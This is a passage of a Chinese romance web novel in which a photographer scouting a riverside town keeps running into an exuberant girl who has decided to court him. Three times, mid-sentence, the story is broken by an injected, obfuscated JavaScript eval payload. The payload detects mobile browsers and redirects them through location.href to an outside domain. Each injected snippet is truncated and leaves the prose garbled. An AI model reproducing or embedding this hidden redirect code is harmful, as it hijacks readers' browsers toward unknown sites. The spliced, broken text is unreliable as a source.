手头工作忙完,应如是也终于抬起了眸,看着眼前这个人,两个大眼睛一眨,亮晶晶的盯着他问:“你刚才这是在担心我吗?” 廖清杉:“......” 这是正常人的脑回路? “你放心——”应如是把蜡块儿放回了原处,折身的时候,从茶几上抽了张纸,一边擦手一边说,“你放心,我这人虽然相信一见钟情,但我也不是个愣头青。” “所以,遇见你之后,我很认真地分析了一下你。” 廖清杉:“?” 你分析我什么? “首先,你长得很符合我的审美,我承认,自己是个颜控,在我过往十八年的人生里,你是第一个让我见色起意的人,所以,我不能将这种心绪放任不管,我得尊重我当时的那份怦然心动。” 廖清杉听着,心想:按你这个说法,我也得尊重,我当时的心如死水。【作者注:假的。】 “第二,”说着,应如是又在他面前比了个“耶”,“能考上朝大,说明你智商不低,灵魂有趣。” “第三,”说着,应如是收回刚才比“耶”的食指,翘起无名指和小拇指,在他面前比了个“OK”的手势,“我错吃了你的面,但你没有计较,说明你不是个小气的人,刚才,我让你背我,你也没有扔下我不管,虽然咱俩还不算熟悉,但通过以上几件小事,你的人品,我不敢说绝对好——” “但至少不能算差。” 廖清杉:“?” 至少? 不能? 算差? 来来来,你告诉我,你怎么算的? “哦,对了,还有一点,你在学校吃饭,还带着自用的筷子,我估计你这人有洁癖,应该也很讲卫生。” 擦干净手上的蜡之后,应如是低身,把纸巾扔进了垃圾桶,然后,又挺起腰,气势十足地拍了拍手,造好气势,才开始总结陈词:“综上所述,以上几点,就是我对我未来男朋友的要求,你正好全部符合。” 廖清杉:“?” 呵。 照你这意思,我是不是还得说一句挺荣幸。 “好了,我说完了,”应如是转头看着他,“现在换我问你了,你对我有意思没?” 廖清杉:“没有。” 没有任何犹豫的一个“没有”。 应如是:“那正好。” 廖清杉:“?” “那你就等着我追你吧。” 廖清杉:“??” “本来我是想等到开学之后再追的,但上天又让咱俩遇见了,所以我觉得自己不能辜负上天的这份好意,准备把这件事提前。” 廖清杉:“???” “我追你的第一步,咱俩加个联系方式。你扫我,还是我扫你?” 听到这儿,廖清杉再也坐不住了。 他也是服了。 无数工作堆积在前,他竟然就这么坐在这儿,浪费时间地听一个素昧平生的人分析自己。 还分析得屁都不是。 “你扫地。” “嗯?” “我出门。” 没等话说完,廖清杉便利落地从沙发上站了起来。 看他不留联系方式就要走,应如是瞬间坐不住了,站起身问:“不是,你对你救命美人就这种态度?” 廖清杉脚步一顿:“救命美人?” “你新来的,肯定不知道,”应如是一字一句地跟他解释,“你刚才站着的那座桥经久失修,稍不注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117700|164198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就得掉下去,今天要不是我,你现在估计已经躺在医院了。” “你以为我两岁小孩儿呢,连这点风险都看不到。” “那你看到,还不规避风险?还弯着腰往下探,我还以为你要寻短见。” 廖清杉懒得跟她解释,转身就往门外走。 说时迟那时快地,因为一个新闻推送,放在桌上的IPAD亮了一下。 廖清杉对别人的东西不敢兴趣,目光只是无意间一瞥,却顺带着眼看到了亮起的屏幕。 以及—— 屏幕上的壁纸。 看清楚内容的瞬间,他目光有片刻的停滞。 那是一幅人物漫画。 众所周知,漫画做不到写真或素描那般写实,但不妨碍创作者,将人物的神态和气质描绘到位。 画中的男生,穿着白色衬衫,手中拿着一个浸了水的手机,低着头,正在擦拭。 至于眉眼,则是和他的如出一辙。 察觉到他落下来的目光,应如是又开始先声制人:“我一没发表,二没商用,所以不算侵犯你肖像权。” 但她没想到的是,眼前这个人根本没跟她计较这个,而是转过身,问了一句:“动画学院的?” “啊?”应如是没想到他竟然没追问这幅画的原型,神情一怔,低头说,“不是。” “那哪个学院的?” “外国语,”说完,又悻悻添了句,“被调剂的......” “所以,你是文化考生,不是艺考生?” 应如是抬眸,莫名道:“嗯。” 回答完,她又觉得,他这重点抓得还挺惊奇。 廖清杉却看着那幅画,轻轻笑了声。 一个非科班出身的人,能画成这样,绝对能归到有天赋那一挂。 应如是看他没走,趁机又问:“你是哪个学院的?” “我不是朝大的学生。” 回答完,廖清杉趁着这个机会,抬眸对上她的目光,一脸认真地说:“既然你问到这儿了,我就跟你说清楚。” “我没上成朝大,所以智商并不高,灵魂也无趣。” “当时看你吃了我的面,我纯粹是觉得跟你计较浪费我的时间,并不是什么大方,生活里其实我抠得很;刚才背你也是,怕你再出什么意外,我还得承担连带责任,所以才被迫背你。” “哦,对了,还有最后一点,我也不讲卫生,袜子一年都不带洗。” 应如是:“?” 骗谁呢你? 你身上那么干净好闻的味道,难道是香水兑的吗?哪个牌子的,她也要去买一瓶。 看他不给自己留面子,索性,应如是也不给他留面子,直接点破他的谎言:“看你鼻子长这么挺,是说谎话说的吗?那我以后也要说谎话,长一个和你一样好看的鼻子。” 廖清杉:“................” 谁能来告诉他,到底该怎么办! 眼前这姑娘看样子就是刚参加完高考,满打满算也就十八岁,比他小个三岁。 所以,现在三岁都有一个代沟了吗? “我跟你开玩笑的啦,我鼻子长得——”应如是拍了拍他的肩,笑着说,“又不比你难看。” 廖清杉:“......” “哎呀,刚才那些话,我知道你是为了不让我追你,故意贬低自己啦。” “你放心,我就追追试试,要是不合适,到时候我把你踹了不就行了?” “所以,你不用有任何的心理负担哦。” 她安慰的话说得挺起劲,廖清杉却半点绅士风度也无,不等她说完,气得转身就走。 应如是起身追到门口,小嘴还叭叭叭地问个不停:“诶,你等等等等一下,我问你最后一个问题。” 廖清杉脚步未停。 “那碗面,到底是你没吃过的?还是吃过的?” 廖清杉听了,脚步骤然加快。 这一瞬间,他很想回到过去,对那时的自己说: 廖清杉! 不就一碗面吗! 你非要看她吃完干什么! 你当时直接走不就行了! 真的,以往二十多年的人生里,他从来没有遇到过这样的人。 这么的...... 算了,他真的找不到一个合适的形容词来形容。 总之就是一句话—— 虽没见过虎狼,但已见过了虎狼之词。 8. 看她弄巧 哎呀! 怎么嘴上说着不喜欢,背地里还偷偷写人家的名字呀! ——《叮咚!您点的乌龙面已送达!》 终于逃离了那个是非之地。 回到房间,廖清杉先是脱掉那套沾了泥渍的衣服,去浴室冲了个澡。 洗完澡后,他从行李箱里找了件黑色T恤和黑色长裤套上,穿好之后,还鬼使神差地确认了下,衣服有没有拉链这件事。 然后,头发都没来得及擦,就去翻看自己的相机。 来枫桥之前,廖清杉就不止一次听说过,枫桥护城河边的那片景很是漂亮,于是,到了这儿,办好入住之后,他便迫不及待地拿着相机走了出去。 所以,应如是猜测的“自寻短见”,和他真正的意图,是八千万个杆子都打不着。 那时,他之所以弯腰,是想用相机—— 去寻一枚月亮。 傍晚的时候,枫桥下了一场说来就来的雨,不仅驱散了夏日的烦闷和燥热,还让干涸的护城河,积了薄薄一层水。 清浅溪水成就绝妙倒影,审美绝佳的摄影师,用一个镜头,便巧妙地摄入了天上和地上两个月亮。 遥遥相望,却又相得益彰。 任谁看到都难以想象,这张构图绝妙的照片,竟然诞生于一座经久失修的桥和一条雨后泥泞的路。 - 看相机和储存卡都完好无损,廖清杉打开电脑,想要顺手修一下这张照片的细节。 结果,刚掀开笔记本电脑的盖,手机就响了起来。 一看来电,是汪施靖。 电话一通,那边也不喊人,就直入主题地问:“你已经到枫桥了?” “嗯。” “拍摄不是一周后吗,你去那么早干什么?” 廖清杉服了他这个不把钱当钱的语气:“你还知道拍摄是一周后?” 潜台词,你知道拍摄是一周后,你还订这么早的民宿干什么?还包场? 钱多烧的慌是不是? “哎呀,这才多少钱,”汪施靖笑他大惊小怪,“况且,这次不花你们摄制组的钱,我亲自掏腰包。” “你钱大风刮来的?” 说完,一想,他家老爷子是做风力发电的。 这钱还真是大风刮来的。 “行行行,我这不是怕你挑才提前订的么,你说万一临跟前再订,来不及怎么办,知道你是个龟毛,我还跟房东千叮咛万嘱咐,一定一定要注意卫生问题,不能留任何的卫生死角。” “......” “对了,问你个事。”看他没说话,汪施靖又起了个调。 “说。” “你怎么不先去京溪拍,那儿不就剩个补拍了么。” “你又不是不知道......”说着,廖清杉目光一转,看到一个物件,突然没了声。 察觉到那边没了动静,汪施靖扬声问:“我又不是不知道什么?” “我这边突然有点事儿,等会儿给你回过去。”说完,廖清杉便利落地挂了电话。 汪施靖:“?” 他妈的最烦说话说一半的人! - 廖清杉看到的那个物件,是一个治疗跌打损伤的药膏。 这次过来,他包里备了一些处理伤口的药,是收拾行李时随手放进去的,也难怪他一直没想起来。 这会儿,看见了,他也就没办法做到无动于衷。 自然而然地想到那个姑娘,虽说脚是没崴,但因为当时动作太猛太快,不可避免地碰到了一些硬的凸起,手肘处和脚踝处都有着明显的擦伤。 想到这儿,廖清杉正准备下楼给她把药送过去,结果,还没走两步呢,突然就停在那了。 然后,脑海里就有两个小人打了起来。 辩手1:廖清杉,你是不是有病,她受不受伤关你屁事。 辩手2:你这么想就不对了吧,那虽然是个乌龙,但人姑娘好歹也是为了救你才受伤的,人家也是好心,给人家送个药膏也不过分吧。 辩手1:相机差点给你干没了?这算哪门子好心? 辩手2:那你怎么不说,人家还给你修拉链了呢。 辩手1:要不是她,那拉链能坏? 辩手2:行了行了,廖清杉,都不是我说你,你自己说说,你好意思么,跟个姑娘这么斤斤计较,人家说你抠,你还真的抠上了是不是。 脑海里的小人越吵越凶,廖清杉忍无可忍地吼了一声:“都别吵了!” 吼完一看,四下无人。 廖清杉:“......” 戏多是病,会传染。 在原地又站了几秒钟,他才抬脚往门外走,边走边想:算了,扔她门口就走。 能不能看见就凭她本事了。 结果,命运没给他做无名英雄的机会,他从楼上下来的时候,正好碰上了这家民宿的老板。 下午办理入住的时候,两个人打过照面,廖清杉知道这个男生名叫周叙,枫桥本地人,年龄和他相当,正在滨江大学读大三。 这会儿,周叙刚把所有的硬件设施安排妥当,正准备走人,就听到身后有人叫了声:“周老板。” 周叙闻声回头一看,客厅的纯白色楼梯上,正走下来一个少年。 穿着一身黑,面容英俊,长身鹤立,带着少年人特有的清瘦轮廓,利落却不单薄。 哪怕是以一个同性的挑剔视角来看,他也不得不承认。 这人帅。 是真的帅。 看到客人下来,周叙赶忙往前迎了几步,笑着回道:“叫我周叙就行。” “行,周叙,”廖清杉直入主题地说,“能不能请你帮我一个忙?” “你说。” “帮我把这个药膏,”廖清杉伸出手,“送到你邻居家。” 周叙听了一愣:“邻居家?哪个邻居家?” 他之所以疑惑,其实情有可原。 一般这样的小镇,邻里街坊都认识,关系也都很亲近,所以,约定俗成的,一条街上住着的,都叫邻居。 其实,说清楚是哪一家,很简单。 “蓝色大门那一家”、“隔壁那一家”、“出门左拐第一家”等都是直接又准确的定位词。 但不知为何,最先映入廖清杉脑海的,居然不是上述这些,而是她本身。 他回想了一下她那幅漫画上的落款,是用彩虹笔刷写成的一个“应”字。 然后,再结合了一下他在电话里听到她外公对她的称呼,对周叙说道:“应悠悠家。” 周叙疑惑未变:“应悠悠?” “对,”廖清杉那股莫名其妙的自信也不知道是从何而来,“应悠悠家。” “哦,你说应如是啊,”周叙脑子转了下弯才恍然大悟,“她小名叫悠悠,我们邻里街坊都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117701|164198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是直接喊悠悠,没人连名带姓一起叫的,所以,刚听你说,我一下子没反应过来。” 廖清杉听到,目光轻抬,下意识重复了遍她的名字:“应如是?” “对啊,应如是,‘料青山见我应如是’的应如是。”解释完,周叙注意到廖清杉有些讶然的表情,笑着说,“今天下午给你登记身份证的时候,我就觉得你俩名字还挺有缘分。” 一个人的名字,往往寄托着父母对子女最初的期望。 从小到大,应如是都数不清多少次了,每次介绍完自己的名字,大家都会以为她的名字来源于那句著名的诗:“我见青山多妩媚,料青山见我应如是。” 但她没想到的是,她选定的这个一见钟情的对象,在听到她名字的第一瞬间,就将她名字的含义准确领悟。 “她的名字,应该不是出自这句诗。” - 返回到房间的时候,汪施靖早已忘了刚才那一茬儿,重新起了个话题:“怎么样?枫桥美不美?” “景色挺美的,”廖清杉说完,又在后面添了一句,也不知道是在欲盖弥彰什么,“就是人......” 话音落地的同时,他却有些莫名其妙地,想起刚才在河边的那一幕。 当时情景下因为心急被掩盖的细节和闪光点,在这个安静的夜里,纷纷涌出水面。 她是突然撞进来的,其出场之脱俗,叫人忽视不得。 那时月光温柔,路灯昏黄,她在一片茫然中抬眸,乌黑明亮的瞳仁,衬得那双眼清澈又灵动。 饶是廖清杉觉得这姑娘再跳脱、再不按常理出牌,但他也不得不承认,她眼睛弯起来的时候,是真的很像一枚小月亮。 长睫轻眨时,是那般盈盈欲动。 细节渐次浮现在脑海,廖清杉的耳边,不知不觉就消了音。 直到一个明显扬高的分贝将他拉回现实。 “喂?杉杉?” “杉杉?杉杉?杉杉?” “你怎么不说话啊?杉杉?” 廖清杉:“???” 草。 这次,他连句都没说,就果断地挂了电话。 周遭终于恢复了安静,廖清杉临窗而立,看着月亮落下的余晖,包裹着瘦长古朴的街道。 和那座他们相遇的木桥。 看着看着,他突然来了灵感,赶紧在桌前落座,拿起手边的电视节目策划案,准备往上面批注一些新的细节。 结果,拿起笔的那一瞬间,竟然鬼使神差地,落下了四个字: 【悠悠如是】 - 钟摆不知道转过了几圈,他才终于察觉到不对劲,像个写错题的孩子一样,赶紧寻了一张新的纸把那个写了她名字的一页盖上。 一张素净的白纸,轻而易举地盖住了他吹皱满池的心事。 却没盖住,这页策划案又得重新打印的事实。 廖清杉觉得,今天真是诸事不宜。 去查了下水逆,一共十二个星座,恨不得有一半都在水逆。 这他妈是在懵判断题的答案吗? 百分之五十的正确率? 算了,还是我国的老黄历靠谱。 于是,又去查了下黄历:宜祈福、宜出行、宜沐浴、宜...... 看到后面那两个字,廖清杉还以为自己眼花了,眨了下眼,又确认了一遍: 宜嫁娶? 9. 看她弄巧 不行不行,我养的边牧好像真的成精了。 肿么办肿么办肿么办!!! 在线等,挺急的,因为楼主真的跑不动了!!! ——《叮咚!您点的乌龙面已送达!》 晚风煽动温柔的书页,将他错写的那张纸彻底翻过,留下扉页映入眼帘。 星空为底的蓝色扉页中间,印着三个大字:《笑忘书》。 再下面,印着一行清秀小楷—— 一个时代的遗忘书写。 这便是廖清杉此行的真正目的。 《笑忘书》是一档旨在讲述非物质文化遗产的电视节目,以纪录片的手法进行拍摄,拍摄对象全部选取于世界非物质文化遗产名录。 同样,这部作品,也是廖清杉历时三年,整合了所有能够整合的资源,利用了所有能够利用的碎片化时间,给自己梦想下的精湛注解。 他希望通过现代化的镜头和与时俱进的新思想,去追索那些曾被我们抛在身后的时代烙印和民族记忆。 如今,《笑忘书》的收官之战,他将目光锁定在了枫桥,摄制组将会在几天后抵达,拍摄计划已经完整又细致地呈现于纸上。 但身为一名创作者,从来不会满足于已有的灵感。 时钟转过十点,天地万物都静悄悄的,只有纸笔摩挲的声音。 笔端流淌的灵思和窗外飞驰的萤火,一起跃上暮夏的夜。 纵观人类文明长河,太多令人惊叹的灵光乍现,都诞生于四下无人的静谧夜晚。 好似一种隐喻—— 宇宙中的那条星河长久闪耀。 而人类世界如星光般璀璨的精神文明,也值得永远的熠熠生辉。 - 一墙之隔的房间内。 应如是洗过澡,换上一件印着荷包蛋的白色睡裙,正趴在床上鼓捣自己的小玩意儿。 刚吹干的长发随意披散在肩头,像瀑布一样,柔顺地铺陈开来;长发掩着的那张鹅蛋脸,白皙清透,因刚洗过澡的缘故,脸颊处还泛着浅浅的红晕,嫩得像能掐出水一样,让人很想上去挼一把。 此刻,她也正被深夜的灵感眷顾,下巴枕着一个doge抱枕,拿着笔在iPad上画漫画,画的就是刚才在桥边相遇的那一幕。 微垂的长睫下,那道目光专注得很。 画到兴起处,小腿还弧度优美地曲了起来,甚至连脚指头也不安分地翘来翘去。 头顶暖黄色的灯光轻轻浅浅地洒落,将她身上的每一个部件都照得更加柔软可爱。 夜色在她的笔下静静流淌。 不过,很快,一个声音打破这份静谧。 就在应如是刚把大致轮廓定好,正准备勾画细节的时候,手机突然响了一声,与此同时地,屏幕上端弹出一个微信来电提示:【全世界最美的女人】 应如是侧眸一看,眼疾手快地点了接通,维持着刚才的姿势未变,一边勾线一边用极为可爱的声音问好道:“喂,我亲爱的妈妈咪呀!” 手机那头很快传来一个娇媚又年轻的女声:“我亲爱的悠悠宝贝!” 好久(作者注:其实也就三天)没听到这么亲昵的称呼,应如是委屈地哼了一声,故意吸了下鼻子,语气自然地对方撒娇:“祝和风女士!你终于不叫我大名啦!” “不叫不叫不叫,我们悠宝只要不复读,就永远是妈妈的宝贝乖女儿。” 应如是听了,“嘿嘿”地笑了两声,继续道:“妈咪,我跟你说真的,我要是复读,说不定能考个状元回来。” “行了行了,”祝和风根本不接闺女画的大饼,“咱家不兴这个。” “嗯?”应如是下意识反问。 “你要真考个状元……”说着说着,祝和风还真的认真地设想了起来,“哎哎哎,不行不行,这事儿妈妈想想都头大。” 应如是:“?” “你说,要是你考了状元,”她疑惑的功夫,手机那端已经头头是道地分析了起来,“妈妈肯定得请亲戚同事们吃个升学宴吧,这多浪费妈妈的精力啊;还有,高考状元的父母是要接受媒体采访的,你说到时候记者要是问我,对你的教育有没有什么心得,妈妈说自己从来没有管过,观众肯定说我凡尔赛;那我要是硬说,我真的没有管过,我也编不出来呀。” 应如是:“……” 祝和风女士,你戏真的很多。 手机那头的人还在继续加戏:“再说,青春这么短暂,好不容易脱离苦海,那肯定是早玩一年算一年!” 应如是:“……” 算了,她早就习惯了。 毕竟她的妈,从小就跟别人家的妈不太一样。 别人的妈:好好学习,天天向上! 自己的妈:貌美如花,快乐至上! “悠宝,”唠完了闲嗑,祝和风直入主题地开始说正事:“妈妈给你打这个电话,是想请你帮妈妈一个忙。” 听到这娇得能滴出水的声音,应如是心中顿时警铃四起,有些警戒地问:“干嘛?” 祝和风铺垫道:“你还记得王觉书爷爷吗?他跟我说,他想你了,想见见你。” 应如是:“是么,可我昨天才在四季烧烤摊见过他呢。” 祝和风:“……” 好吧,闺女长大了,骗不过去了。 没办法,她只能实话实说:“哎呀,你不是知道么,妈妈以前暑假都会去你王爷爷那,帮他教小孩子们学做木板年画,可妈妈最近受了点伤,不太方便出门。” 什么? 受了伤? 还到了不能出门的程度? 应如是的心一下子就提了起来,画笔一撂,蹭的一声从床上坐起,语气焦急地问:“妈,你怎么了?伤哪儿了?有没有事?” 边说着,边趿拉上拖鞋往外走:“你在哪个医院,我现在就过去。” “哦,那倒是没那么严重,是妈妈昨天刚做了医美,医生说这一周最好不要出门见太阳。” 应如是听了,直接一个大喘气:“……” 祝和风女士,你真的够了! 不过,悬着的心终于回落,她重新坐回到床上,毫不留情面地拒绝了亲妈的请求:“妈咪,这次可能不行,我最近有事情要忙。” “有事情?什么事情?” 应如是手指缠着自己的头发,有些含羞地回:“我忙着给你找女婿呢。” “女婿?”说到这儿,祝和风瞬间就来劲了,“帅不帅?” “帅!”到底是自己生的,说到这儿,她闺女也来劲了,“特别特别特别帅!” “是么?是哪种帅?奶油小生那种?还是斯文败类那种?还是……”祝和风越问越起劲。 不过,这些问题,全部都没有得到答案。 应如是听到楼下传来的动静,便先放下手机,打开门出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那人穿了一件白色T恤和及膝的黑色运动短裤,露出来的那双小腿又白又直。本就是极具少年感的一身搭配,再加上这时他还在奔跑,跃动的身影看起来就更为清瘦挺拔,带着朝气蓬勃的少年气。 意识到它在追谁之后,应如是边跑边解释着:“姗姗!不要追了!他不是坏人啊!你昨晚不是才见过他嘛!” 这声音大得,再没人能忽视得了。 正在晨跑的廖清杉听到这句话,下意识转身看了过去。 好家伙! 一个黑白相间的中型犬科动物正朝他狂奔而来! 廖清杉对狗说不上怕。 但这份怕,仅限于狗是静止的,是对他没有目的性的。 可是现在,明显这个狗就是朝他跑过来的? 你怎么办? 还能怎么办? 拔腿跑吧! 于是—— 他跑,它追,她插翅难飞! “姗姗!” “姗姗!” “姗姗!” 每听到一声“姗姗”,廖清杉额头上的青筋就抽一下。 结果,边牧姗姗丝毫不听应如是的话,甚至她越叫,它跑得越带劲,奔跑的脚步声像是在说:我帮你追男人呢!你自己能不能别拖后腿! 于是,往日一片安静的林荫小道上,此刻正上演着“狗追前人、溜后人”的激情戏码,上空还飘荡着一个撕心裂肺的女声: “姗姗公主!” “姗姗宝贝!” “姗姗乖呀!” “别跑啦~~~!!!” 10. 看她弄巧 承认吧! 笑容才不会说谎嘞! ——《叮咚!您点的乌龙面已送达!》 最终,这场闹剧,止于一只横空出世的萨摩耶。 看到那只通身雪白的萨摩耶,狂奔着的边牧姗姗立刻停住了脚步,方向一转,吐着舌头,面带红晕地朝它的“梦中情狗”走去了。 不过,也多亏这只萨摩耶的出现,应如是终于觅得了喘息之机,脚步渐渐慢了下来。 对面的林荫路上,站着一人一狗。牵萨摩耶的那个小姑娘叫风铃,比应如是小几岁,正在读初中,也是趁着暑假过来老家待几天。 风铃低着头,看到两条狗亲密在一起的样子,一脸茫然地问:“悠悠姐,它俩啥时候勾搭到一起的啊?” 应如是一边擦着额头上的汗一边说:“我也不知道啊,我也好久没回来了......” 说着,还腾出目光往前面看了一眼。 结果,看到她刚才追的那个男生不仅没有停下脚步,反而还越跑越远,应如是瞬间就不淡定了,动作迅速地把遛狗绳往风铃手中一递,拜托道:“玲玲,麻烦你帮我遛一下狗,谢谢了哈!” “没问题,”风铃二话不说接过应如是递过来的遛狗绳,“悠悠姐,那你要干嘛去啊?” 应如是边跑边喊:“追男人!” 扬高的分贝,伴随着加速的脚步,搅得一向平静的晨风都躁动了起来。 连带着,让奔跑在风中的廖清杉也耳尖一颤。 追男人? 该不会是追他吧? 回头一看! 果不其然! 这什么情况? 狗不追了,人又来追了? 廖清杉! 你歇什么歇! 继续跑啊! 于是,刚刚才开启慢跑模式的廖清杉又瞬间把自己的身体调成了快跑模式。 看前面那个人越跑越快,应如是试图用道明自己来意的方式叫住他:“哎哎哎,前面那个人,你等一下,我有事情要跟你解释!” 结果,没想到,她越大声,前面那个人跑得越快。 廖清杉! 别听她解释! 快跑! 于是,两个人的差距越拉越大,应如是追着追着,看前面那个人丝毫没有停下来的意思,对比了两人之间的体力差距,决定不能盲从,必须智取。 于是,预测了一下他接下来的路线,她便急中生智地拐进了一条小道。 - 廖清杉又跑了一段,看到她没有追上来,才开始慢慢减速。 跑完,他又站在原地做了一些拉伸动作。 乡间的早晨,几缕微风时不时地拂过,吹得头顶的树叶沙沙作响,树荫下的少年,身型高瘦,肩宽腿长。 凝着汗的眉眼,在阳光的照耀下,像是闪着一层细碎的光。 白色的发带和腕带,更是又为他本就清俊的五官,平添了几分青涩质感。 朗朗少年气,昭昭赤子心。 按部就班地拉伸完,等汗消得差不多了,他才抬脚往住的地方走。 快要走到家门口那条路上的时候,廖清杉看到迎面走来了一个看起来五六十岁的老人。 “您好,”他笑着迎了上去,把手中的照片递给老爷爷看,“我想请问一下,这家雕刻小屋是在宜丰路上吗?” “雕刻小屋?”老人蹙了蹙眉,用力地看了眼他屏幕上的照片,“哦,你说大榕树下的老王家啊。” “对,”廖清杉肯定道,“王觉书家。” “那条路叫什么我还真不清楚,”老人笑意和蔼地说道,说完,又热心地替他指了指方向,“不过,你要是开车的话,就沿着这条路直走,走到尽头左拐,第三个路口进去,看到一棵大榕树就是。” “我知道了,谢谢您。”说着,他微微躬身,道别了老人。 得知了今天要去地方的具体位置,廖清杉收起手机,加快了回去的脚步。 结果,没走两步,前面就出现了某个怎么甩都甩不掉的身影。 他看到,微微侧身,准备绕过。 应如是见状,抓紧时间跟他解释:“我早上没有跟踪你,我哪怕追人,也不会用这么低级的手段。” “那现在呢?”廖清杉垂眸看着眼前的姑娘,语气讥诮,“守株待兔?” 他目光落下来的时候,应如是的目光正好抬起。 刚才竞相奔跑时没看到的细节,在此刻纷纷浮现在眼前。 今天他带了一条白色发带,压在乌黑利落的短发间,几缕碎发垂在额前,映着一双漆黑明亮的眼。 哇! 好像一只兔砸! 而且还是一只帅气的兔砸! 呀! 感觉自己又心动啦! 想到自己过来是有正事,应如是才迫不得已地收敛了一下自己的星星眼,语速极快地解释道:“我在这儿等你,是想跟你解释清楚,今早那件事情是个意外。” 廖清杉听了,极轻地笑了一声:“意外?” “嗯,因为我家那条边牧是只母狗。” “?” “所以它看到帅哥就激动,也是情有可原的......” “......” “不然你想想,它刚才看到那只公的萨摩耶,是不是瞬间就走不动道了。所以......” 廖清杉:“?” 所以什么? 所以那只边牧是因为看到那只萨摩耶才放弃了追他? 所以这意思是说,他不如狗? “我不是说你不如狗啊,你肯定比......”感觉自己越描越黑,应如是机灵地瞬间转了个话题,“对了,你吃早饭了没?没吃早饭的话我请你吃早饭吧,我们这有家早餐店,早餐做的特别地道,就当是我对你的......” “这位姑娘,”廖清杉有些强势地打断她的话,“我想我说的很清楚了,我对你真没那个意思,也请你不要在我身上浪费时间了。” 应如是不理他这一茬儿,笑着问:“哎,你知道我看剧最喜欢看什么剧情吗?” 廖清杉:“?” “打脸的剧情。” 廖清杉:“......” “算啦,既然你不想去,那我就不强人所难啦,”应如是追人从来不用蛮劲儿,“那我自己去吃咯!不带你!哼!” - 她还真的说到做到,一个人去了早餐店。 点好早餐后,应如是便立刻给祝和风打了一个电话:“妈妈咪,你昨晚跟我说,要我去王爷爷家里教小孩子们木版年画,是从今天开始吗?” “哦,宝贝,是这样的,”祝和风正熟睡着,突然被一通电话吵醒,但她没有任何生气,依然耐心极好地说道,“我昨天晚上又接到你王爷爷女儿的电话,说不用去了,她之前在网上征募过志愿者,那个志愿者今天会过去的,她忘记跟你王爷爷说了,所以,恭喜宝贝可以安安心心地替妈妈追女婿啦!不过,妈妈还是谢谢宝贝的好心哦。” “那王姐姐有说那个志愿者叫什么名字吗?” “这个没有说的哦。” “好的,那我先挂啦,妈妈。” “加油哦,”一个哈欠声,“悠宝。” “好哒!” 打完电话,应如是两个大眼睛滴溜溜地一转,便有了新的策略。 她快速吃完早餐,还顺手打包了两份,然后便起身往家走。 快到家门口的时候,正好看到风铃牵着边牧从对面的方向走来。 应如是接过她手中的遛狗绳,还把手中的早餐递给了她一份。 目送风铃走之后,她才牵着边牧姗姗,快步往家走。 经过周叙家民宿的时候,应如是故意往里面看了一眼,想看看那人有没有出发,结果,说巧不巧地,正好看到那个男生拿着车钥匙开了锁,正准备开门坐进去。 这会儿,他已经冲过了澡,换了一件深蓝色T恤和黑色休闲裤,本就完美的身形线条,被这身休闲装修饰得更加利落干净。 “你是要出去吗?”看到他,应如是明知故问道。 他言简意赅:“嗯。” “正好,我也要出去一趟,”她往前走了两步,“要去大榕树下面的那个雕刻小屋,你顺路吗?要是顺路的话,能把我捎过去吗?” “不顺路。” 应如是:“?” 大哥,你好歹迟疑一下再拒绝我啊,这么斩钉截铁的拒绝,我一个大美女不要面子的吗! 知道他在说谎,应如是的演技便说来就来了。 她眉毛一蹙,在边牧面前蹲了下来,做作地抽了下鼻子,楚楚可怜道:“哎哟,这也不知道昨天是为了保护哪个帅哥哥,把自己伤成了这样。” 说着,还故意指了指自己手肘上的擦伤。 “姗姗,我看啊,我还是自己去吧,虽然这会儿太阳这么大,但是没关系,不就是留点汗么,不就是汗水如果流到伤口上,可能会造成伤口感染嘛,这都是小事啊,没关系的。” 边牧姗姗听了,委屈地哼了一声。 “我们姗姗是怕我走太多路是不是?没关系,没有人载我的话,我做公交去就行,虽然这个点儿坐公交的人应该挺多的,不过没关系,不就是人挤人可能会撞到伤口嘛,没关系的,身为新时代的独立女性,我们要坚强,不能因为这点小伤就退缩,你说是不是啊,姗姗。” 廖清杉:“……” 外国语学院录取你绝对是暴殄天物,这演技,去读表演系不好吗? 想着想着,便脱口而出一句:“上车。” 说完,廖清杉就后悔了。 冲动确实是魔鬼。 但应如是没给他反悔的机会,一秒就出了戏,眉间的阴郁瞬间消失不见,眉开眼笑地应了一声:“好嘞!” 然后,就蹦跶着坐上了他的副驾驶。 廖清杉看着她兴奋的背影,总有种落入了某个圈套的感觉。 他站在原地,抬眸看了眼坐进副驾驶的姑娘,又抬手,无奈地揉了揉眉心,在心里重重叹了口气。 著名哲学家赫拉克利特曾说过—— 人不能两次踏入同一条河流。 后来,著名的滑铁卢恋爱学家廖清 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“你还不是我男朋友呢,我就对你动手动脚的,这......不太合适吧?” 廖清杉:“……” 他真的想问问,这姑娘的脑回路到底是怎样运转的? “你刚说我好人有好报,”想让耳边清净一些,廖清杉倏地起了个调,“能让我现在就感受一下吗?” 应如是星星眼地看着他:“当然可以啦!” “那你能......”他本想说闭嘴,但看到她那张翘首以盼的脸,不知怎地,就没能说出口,而是本能换成了更为温柔的一种说法,“能安静点吗?” 